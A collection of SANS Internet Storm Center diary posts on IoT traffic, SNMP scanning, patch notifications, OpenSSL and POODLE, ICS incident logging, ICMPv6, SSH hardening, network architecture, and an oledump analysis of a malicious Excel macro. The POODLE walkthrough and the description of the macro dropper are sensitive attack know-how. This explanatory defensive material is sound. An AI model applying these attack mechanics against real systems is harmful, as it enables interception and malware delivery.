In fact, the IOTC platform is a service developed by ThoughTek to establish P2P communications between devices. I read the documentation provided with the device as well as all the website pages and there is no mention of this service. Manufacturers should include some technical documentation about the network requirements (ex: to download firmware updates). In this case, it's not a major security issue but this story enforces what we already know (and be afraid) about IoT: those devices have weak configuration and they lack of visibility/documentation about their behavior. Take care when connecting them on your network. A best practice is to inspect the traffic they generate once online (DNS requests, HTTP(S) request or any other protocol).

--
"If the enemy leaves a door open, you must rush in." - Sun Tzu
PGP Key: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x42D006FD51AD7F2C

On a very slow Sunday in January I noticed that port 161 (designated as SNMP) is still alive and kicking, however the port 161 DShield report trend saw downward movement two weeks ago, and now we are right back at it with the same intensity.  Previously it was discussed here that D-Link routers are at play, so I'd like to grab a few packets to confirm that we are still seeing the continuance of known attacks, or if we have something else driving the Port 161 numbers up so high.  If anybody has any questionable port 161 traffic they could capture and upload, I'd love to review and report on what we are seeing.

tony d0t carothers --gmail

Quite a few of you have written in to let us know that Microsoft is changing the way in which they provide information (thanks to you all).  You can read the full blog here --> http://blogs.technet.com/b/msrc/archive/2015/01/08/evolving-advance-notification-service-ans-in-2015.aspx 

In a nutshell if you want to be advised in advance you now need to register, select the products used and you will then be provided with information relating to the patches that will be released.  If you are a premier customer your technical contact can provide information. 

The main point for me is this one

"Moving forward, we will provide ANS information directly to Premier customers and current organizations involved in our security programs, and will no longer make this information broadly available through a blog post and web page"

Now a lot of us do look at that information to plan their next patching cycle.  So you will need to look at that process and see what needs changing.  You'll have to rely on the information in your patching solution, or register.  

You can register here:   http://mybulletins.technet.microsoft.com/

The dashboard that is created in the end looks nice, but for me to early to tell how useful it is at this stage, although it was slightly painful to review each bulletin. It will take a few patch cycles to sort it all out I'd say.  

So going forward you will need to adjust how you identify the patches to be applied within your environment.  If you do not want to register you can just visit the main bulletins page here --> https://technet.microsoft.com/en-us/library/security/dn631937.aspx

This page has a list of all release bulletins. 

Cheers

Mark H

Hi,   if you have some logs from the following subnets to your infrastructure and you are able to share, could you?

• 61.174.51.0/24 (although I'll take /16)
• 218.2.0.0/24
• 122.225.0.0/16
• 112.101.64.0/24
• 103.41.124.0/24
• 61.240.144.0/24

If you can't share logs or packets,  maybe you could send me a source IP and Destination Port.  (just use the contact form or send them direct to markh.isc (at) gmail.com  )

The above are all active on SSH and DNS, just trying to see if there is anything else and if so what and in which part of the world.  

Regards

Mark 

NOTE:  Thanks for all the info so far, very much appreciated,  keep it coming.  If sending a file please email direct to markh.isc (at) gmail.com as the contact form file facility is having a challenge.  It is being looked at, but in the mean time please use the email address.  - RESOLVED

Update:  Firstly thank you all for providing information.  The response has been great.  I've spent the last 5 hours sending thank you's and getting the info down :-).  

A first look at the data is already providing some interesting info.  I'll hopefully get the first cut of some info out later today.  If you have devices in the Middle East, Africa, Asia, Europe, South America or Australia I especially interested in those.  Also if you have a packet capture for allowed connections from 61.240.144.64, 65, 66, 67  or IDS/IPS capture of the initial request (allowed or denied) and you can share, great.  

Some of the log shared so far include firewall and router logs, honeypot logs (one especially interesting as it is using P0F to passively finger print the source), but also some really interesting netflow and argus info.  So again thanks to you all. 

Thanks M

OpenSSL just released a new version of the popular SSL/TLS toolkit.

This release fixes 2 moderate and 6 low vulnerabilities. “Luckily”, both moderate vulnerabilities can only lead to Denial of Service. The other 6 low vulnerabilities are either difficult to exploit or of unknown impact so while you should update (as always) it appears for now that there is no need to rush with this upgrade.

More information is available at http://openssl.org/news/secadv_20150108.txt.

One of the biggest security announcements in the last year was definitely the POODLE (Padding Oracle On Downgraded Legacy Encryption) vulnerability, which marked the real end of SSLv3. In a contrast with many other previously identified vulnerabilities in encryption algorithms used by SSLv3, this vulnerability is viable, and can be exploited by an attacker without jumping over too many obstacles or requiring large resources – the POODLE vulnerability is real.

While this raised quite a bit of panic (in some cases the panic was justified) it also raised quite a bit of dust where it should not have had. The goal of this diary is therefore to clear things up a bit, to allow you to make proper risk assessment on moving away from SSLv3 – please do add comments and your experiences (and any corrections, if you find errors).

A little refresher

First, though, a little refresher on how the POODLE vulnerability works. The original paper is available at https://www.openssl.org/~bodo/ssl-poodle.pdf, however I will explain couple of details which are, in my opinion, crucial for this attack and that maybe have not been stressed out as they should have in this paper (my personal opinion is that the steps related to the attack should have been better explained since that would allow people to easily assess the risk).

The vulnerability exists in the fact that, when a CBC encryption algorithms is used, SSLv3 does not cover padding with MAC (Message Authentication Code). Additionally (and this is the key), when there is an entire block of padding, SSLv3 checks only the last byte in the padding block. All other, previous bytes in that block are ignore and the value of the last byte must be equal to the block size (i.e. 15, when the block size is 16 bytes).

If an attacker wants to exploit this vulnerability, he first must perform the following actions:

• Successfully run a Man-in-the-Middle attack against the victim,
• Downgrade connection to SSLv3, if TLS is used as well, for example,

If the requirements above have been fulfilled, the attack is relatively simple, and the attacker must do the following:

• Position the byte he wants to recover as the last byte of a block. This is a critical requirement as we will see later.
• Copy that block as the last (padding) block.

Now the attacker uses the server as the oracle depending on messages received back. The server will try to decrypt the message and when decrypting the last block, due to the CBC encryption algorithm, after the decryption, the last byte will be XOR-ed with the last byte of the previous block. As we used an entire block of padding, the attacker knows that result of this process must be 15. In other words, if the decryption was successful, the attacker can obtain the plain text value of that byte since he can easily calculate it: the decrypted byte = 15 XOR (the last byte of the previous block).

How does the attacker know if the decryption was successful? It’s simple: by observing network traffic from the server:

• If the decryption failed (and this means that the result was not 15), the attacker will see Alert Code 21, which means “Decryption failed” (the description says: Decryption of a TLSCiphertext record is decrypted in an invalid way: either it was not an even multiple of the block length or its padding values, when checked, were not correct. This message is always fatal.)
• If the decryption was successful, the attacker can decrypt the byte. The action that the request will cause does not really matter.

All the attacker needs to do now is cause the victim to issue multiple requests. In average – he will need 256 request to decrypt a single byte (but notice that it might take him much more – or less requests to do this). By causing the victim to issue arbitrary requests, the attacker decrypts his wanted data (usually a session cookie in web applications) byte by byte.

Practicality of POODLE attacks

As you can see in the previous section, there is a number of requirements that the attacker needs to fulfill to execute POODLE attacks. One of the most important is to make the victim issue arbitrary requests to the server. The attacker must somehow be able to influence these requests – the byte he wants to decrypt must be the last byte in a block.
With web applications this is relatively easy – since the attacker must be in a MitM position anyway, he can make the victim’s browser issue such special requests (for more details see the original paper).

However, and this is the crucial point of assessing the risk of POODLE – what happens if the attacker cannot influence such requests? Well, according to current information, he will be able to decrypt only single pre-positioned bytes.

While this is still bad, the risk might be lower than with a standard web application. And this is the main point of assessing the risk: in last couple of months I’ve seen simply too many cases when an auditor (or a penetration tester) ran a tool which reported that SSLv3 is enabled and blindly marked this as a critical vulnerability that has to be mitigated as soon as possible.

One of the typical cases of such detections are client-server applications that use SSLv3 to protect data, but that do not allow the attacker to modify the requests (for example: monitoring systems). Such systems always issue same requests, and they do this automatically so the attacker cannot modify the request (the plain text version of it), as he can with web applications.

So, to wrap up this already long diary – always assess risk properly and do not accept results of automated scanners blindly. While the POODLE vulnerability is indeed a severe and critical vulnerability, and we should move to TLS (v1.2 if possible), the migration should be staged and carefully planned.

--
Bojan
@bojanz
​INFIGO IS

Security patch management is a delicate issue in critical infrastructure. This is caused for the specific configuration, operating system version and related software required by the ICS platform. Most support contracts states that any modification outside the parameters stated by the manufacturer will void the relation and release manufacturer and seller from any responsibility about malfunction and any consequence on the industrial process.

Unfortunately, when we talk about ICS software running on windows the restriction is often applied to domain controllers as well. The case I will cover on the present diary is about an incident on a Water ICS system controlled by Emerson Open Enterprise installation and how all the servers located in the domain got modified their attributes on the domain controller without being able to tell what changes were executed.

Before this incident happened, all domain controllers and servers were configured to log the required security events to Arcsight. Now we need to find out which of the billions of logs we need to search. For this installation, we are talking about 3000 events per second. The incident began when the Open Enterprise HMI System began to loose readings from all the RTUs and after a couple of minutes it was unable to send commands to any RTU.

Since we are talking here about Windows Server 2012R2, There is an interesting repository were all event IDs for Windows 8 and Windows 2012 can be located. After looking inside the repository, the following events are interesting for searching inside the arcsight database:

Event ID 5136 states that the attribute field must be filled with the information changed for the specific object. Check the following evidence collected:

Log Name:      Security
Source:        Microsoft-Windows-Security-Auditing
Date:          23/11/2014 1:30:42 PM
Event ID:      5136
Task Category: Directory Service Changes
Level:         Information
Keywords:      Audit Success
User:          N/A
Computer:      DC.Domain.com
Description:
A directory service object was modified.
 
Subject:
 Security ID:  Domain\Administrator
 Account Name:  Administrator
 Account Domain:  Domain
 Logon ID:  0x5f8a3

Directory Service:
 Name: Domain.local
 Type: Active Directory Domain Services
 
Object:
 DN: CN=XXXXXXX,OU=XXXXX,DC=Domain,DC=Com
 GUID: CN=XXXXX,OU=XXXXX,DC=Domain,DC=Com
 Class: XXXXX
 
Attribute:
 XXXXXXXXXXX: YYYYYYYY
 Syntax (OID): X.X.X.X
 Value: ZZZZZZZZZZZZZZ
 
Operation:
 Type: Value Deleted
 Correlation ID: {ba5fa2fe-9a61-12fa-1b95-3bf03643b4e2}
 Application Correlation ID: -

For some reason, the attribute field was missing and we could not know what attributes were deleted. After researching on this issue, we found it's a bug documented as KB2458125. Six months after, this patch was not installed and because of that we were unable to know what attributes were changed on the server.

Even if we are dealing with ICS systems, the ICS admin must evaluate what patches can be applied without affecting any feature of the system like this patch. If ICS admins does not correctly control risks, incident response tasks could be useless and it will not be possible to control impact and execute containment and eradication successfully.

Want to implement patch management in your organization? Check the specific NIST guide for more information.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter:@manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

One of the exercises I keep recommending is to take 5 minutes of traffic form your own network (any network...), and try to explain each packet. Being an "eat your own dogfood" kind of guy, I try to do this myself every so often, and yesterday, after setting up a new IPv6 connection, I came across this neat packet:

IP6 2601:aaaa:bbbb:cccc:1122:33ff:fe44:5566 > 2601:aaaa:bbbb:xxxx:1122:3344:5566:7788: 
    ICMP6, destination unreachable, unknown unreach code (5)
                      

If tcpdump calls an ICMP type "Unknown", things certainly get interesting. If it is IPv6, then that becomes outright exciting and makes you dive for the RFCs. So what's is happening here?

In the end, it is a simple invalid configuration, but something you may find in IPv6 quite commonly. My ISP assigns me an IPv6 prefix via DHCPv6. DHCPv6 has a special feature to do so: "Prefix Delegation" (often abbreviated PD). In my case, my DHCP client "died". Turns out, that as soon as I no longer request the particular prefix, my modem decided that the prefix is no longer mine, and it no longer routed it. Now in IPv4, there is no well defined ICMP message that is sent back if you essentially try to spoof a source IP that doesn't belong to you. Maybe an admin prohibited? In IPv6, we got a specific ICMPv6 code, "5", to indicate what is happening.

Type 1  is used for "unreachable", similar to "3" in ICMPv4. Code 5 is defined in RFC 4443 as "Source address failed ingress/egress policy". This certainly helped me figure out what is going on here.

Here is a quick list of the codes defined for type 1 in RFC 4443:

Again, this is all for type 1. Code 5 and 6 are described as subtypes of 1 (Admin Prohibited)

As a quick tcpdump filter, you have to use "icmp6 and ip[40:2]=0x0105'. tcpdump does not support icmp6 offsets at this point.

[1] https://tools.ietf.org/html/rfc4443

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

An interesting discussion is occurring on reddit on whether Secure Shell (SSH) should be deployed on a port other than 22 to reduce the likelihood of being compromised.  One interesting comment is that security by obscurity is not a security measure, but a way to delay the attacker, so it provides little value.  While it is true that it is difficult to stop a determined attacker who is targetting you, any measure that stops the random script kiddies and scanners from poking at your SSH is not completely useless.

The truth is that I have been deploying SSH on non-standard ports (typically 52222) for more than 15 years on the Internet facing servers I manage.   Of course this is not the only security measure I employ.  I patch daily; use hosts.allow where practical, keys and passphrases instead of passwords, and deploy DenyHosts.  Do I deploy on a non-standard port because of the security advantages to be had by security by obscurity?  Not at all!  I deploy SSH on a non-standard port because it eliminates all the noise that is every present on port 22.  The continual scanning and attempted brute forcing of SSH that has been on the Internet since the beginning of time, and seems to get worse every year, generates a lot of noise in the logs and is at best a nuisance and at worst service affecting for the server.  Why put up with it if you don’t have to?

It decreases the volume so much that I often have to test my defenses to be sure they are working. Sometimes I even deploy a honeypot on port 22 to see what the bad guys are up to. (-;

Opinions?

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu- http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

For the nearly 20 years since Zwicky, Cooper and Chapman first wrote about Firewalls the firewall has been the primary defense mechanism of nearly every entity attached to the Internet.  While perimeter protection is still important in the modern enterprise, the fact is that the nature of Internet business has vastly changed and the crunchy perimeter and squishy inside approach has long since become outdated.   You can’t deny what you must permit and the primary attack vectors today appear to be email and browser exploits; two aspects of your business model that you cannot do without and which can give the bad guys a foothold inside your perimeter protections.

As the Sony, Target, Home Depot, and many other breaches have shown, once the bad guys are into the network they are content to dig in, explore, and exfiltrate large amounts of data and will often go undetected for months.  What is needed is a security architecture that focuses on protecting data and detecting anomalies. A security architecture that results in a network that is capable of defending itself from the bad guys.

Richard Bejtlich introduced the concept of a defensible network architecture over 10 years ago in his books, but the concepts are even more important today, and are gaining traction, but have not reached widespread adoption in the security industry.

What does a defensible network architecture look like today? In my opinion these are the minimum fundamentals to aim for in a modern defensible security design:

Segregation

The fact is that most enterprise networks are very flat and provide little resistance once the network perimeter is breached. Desktops are the most likely ingress vector for malware, yet most organization’s desktop LAN’s are very flat and desktops often have virtually unimpeded access to the entire network. Creating segregation between the desktop LAN and the critical data, stored on servers, is a huge step in impeding a breach of the network.  The fact is that desktops do not normally need to communicate with other desktops.  So the first step would be to segregate desktops from each other to limit desktop reconnaissance and worm type propagation between desktops. Second, the desktop LAN should be treated as a hostile network and should only be permitted access to the minimum data required to do business.

Servers should be segregated from each other, and from the desktop LAN, with firewalls.  Access to the servers must be limited only to communication on ports required to deliver the business functions of the server.  This applies to desktops as well.  Only a chosen few who require administrative access to perform their responsibilities should have administrative access.  Why a firewall for segregation, not VLANs or some other method?  The firewall gives you detailed logging which can be used as an audit trail for incident response purposes.

Instrumentation

Dr. Eric Cole has always evangelized that “Prevention is ideal, detection is a must”.  Prevention is a laudable goal, but the fact is that prevention, in most cases, is hard.  Aim for prevention where you can, but assume that whatever preventive controls you deploy are going to be defeated or fail. When the controls do fail would you notice?  Sony failed to detect a number of Terabytes of data leaving their network.  Would you notice it leaving yours?  It is essential is to instrument your network so that detection is possible.  There are two essential elements to minimal detection. The first is properly installed and managed intrusion detection, preferably at the network and host level.  But even importantly is network instrumentation that will permit you to detect network anomalies.  The goal is to notice deviations from the norm, in order to notice those deviations it is important to understand what the network baseline is. NetFlow data is sufficient here, but there are many network products that will provide network instrumentation that can be used for alerting, and monitoring of the network and will be critical in the investigation of a breach.

Application whitelisting

Let’s get it out of the way…signature based anti-virus may not be dead, but it is on life support. The model of protecting hosts based on known malware threats is badly broken in this era of ever-changing malware.  Proactive patching is definitely a step in the correct direction as far as plugging known vulnerabilities, but user behaviour is still the weak link in the malware chain and removing users from the picture is not a practical solution. The best approach is to apply a similar approach as network access; restricting access to the minimum required to do business, to the host.    Deny all behaviours on the host except for those required by the applications to do business.  This is a huge shift in host architecture that is probably going to be met with a lot of resistance from SysAdmins and application owners, but it is one of the few practical approaches to host defense that provides any practical likelihood of successful host defense. Application whitelisting has been available since early last decade, but it is only in the last few years that these products have matured to the point of being manageable. 

This is my approach.  What suggestions do you have for creating a defensible network architecture?

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

A long time ago I was given advice from a non-security professional that is among the best and most influential I have received in my security career - "Get wisdom as cheaply as you can”. I was encouraged to learn from the mistakes of others as a means to avoid the full pain of what they were forced to experience. 

There are so many places where you can get your lessons learned without having to suffer through an outage or a security incident. You can learn from news articles or breach disclosure reports such as the Verizon Data Breach Investigations Report (http://www.verizonenterprise.com/DBIR/) and Mandiant M-Trends (https://www.mandiant.com/resources/mandiant-reports/). Create case studies based on these sources that your incident response team can use to conduct tabletop exercises. This preparation exercise will help you determine if your prevention and detection capabilities would be effective if faced with these scenarios

To get you started, here is an example when I failed. I thought it would be a good idea to scan a special internal network segment unannounced with unauthorized equipment. This caused a full and unplanned incident response. I discovered what happened and quickly notified the team of what I did and how sorry I was for causing this incident. Most everyone was gracious and everyone was relieved this was not a real incident. I have not forgotten this lesson and have since put checks in place to make sure it does not happen that way ever again. In addition to learning to only use authorized scanning equipment, I learned the importance of notifying all impacted system and application owners before performing any scans.

Learn from the misfortunes of others. By getting wisdom as cheaply as you can, you are given the opportunity to not have to learn the “hard way”. What lessons have you learned and how have you applied them? Feel free to share using our comments section.

Russell Eubanks
@russelleubanks
securityeverafter at gmail dot com 

In his “Rocket Kitten” diary entry, Johannes introduces research by Gadi Evron and Tillmann Werner. They analyzed a PE-file embedded in the VBA macro code of an XLSM spreadsheet.

I want to show you how you can quickly analyze MS Offices documents and extract files. Just using my Python oledump tool, nothing else. You don’t need MS Office for this analysis.

First we run oledump on sample 266CFE755A0A66776DF9FD8CD2FEE1F1.xlsm like this:

The first line (A: ) indicates that oledump found an OLE file named xl/vbaProject.bin inside the XLSM file. Remember that the new MS Office file format (.docx, .xlsm, …) is a set of XML files stored inside a ZIP file. But VBA macros are not stored in XML files, they still use the older MS Office file format: OLE files.

oledump reports the streams it finds inside the OLE file: from index A1 through A10. A letter M next to the index is an indicator for the presence of VBA code. A lowercase letter m indicates VBA code with only Attribute statements, an uppercase letter M indicates more sophisticated VBA code, i.e. code with other statement types than Attribute statements.

If oledump finds streams with VBA macros, I always look first at the streams marked with an uppercase letter M, as these contain the most promising code.

After the column with the macro indicator M, comes a column with the size (in bytes) of the stream and another column with the full name of the stream.

Let’s take a look at the VBA code in stream A3 like this:

oledump.py –s A3 –v 266CFE755A0A66776DF9FD8CD2FEE1F1.xlsm

Option –s A3 selects stream A3 for analysis, and option –v decompresses the VBA source code.

Here is a part of the VBA source code. Remark function A0: it concatenates characters generated with function Chr into a long string. If you’re very familiar with the ASCII table, you know that Chr(77) + Chr(90) evaluates to string MZ. So this is very likely a PE file.

Looking at the bottom of the source code, we get a better idea:

With this it becomes clear that a very long series of Chr functions is concatenated into a long string s, and that this string s is written to a file with name agent2.dll, and then executed via rundll32.

So in a nutshell: this VBA macro contains a DLL file, encoded in Chr functions, which is written to disk and then executed automatically when the spreadsheet is opened.

What we would like to do now is extract the embedded DLL file without having to execute the VBA macro. This can be done with a special decoder. oledump supports decoders written in Python. Decoders transform the content of a stream into another form. We are going to use the Chr decoder: decoder_chr. This decoder finds all Chr functions in VBA source code, takes the numerical argument, converts it to a byte and concatenates all bytes.

Here is how this works:

By default, you get a hex-ascii dump of the embedded file. Now you can see that the embedded file is a PE file.

Last, we dump (option –d) the embedded PE file and pipe it through pecheck (a tool to analyze PE files):

The MD5 of the PE file is c222199c9a7eb0d162d5e96955739447. That is one of the IOCs Johannes included in his diary entry.

Oledump can be found on my blog.

-- Didier Stevens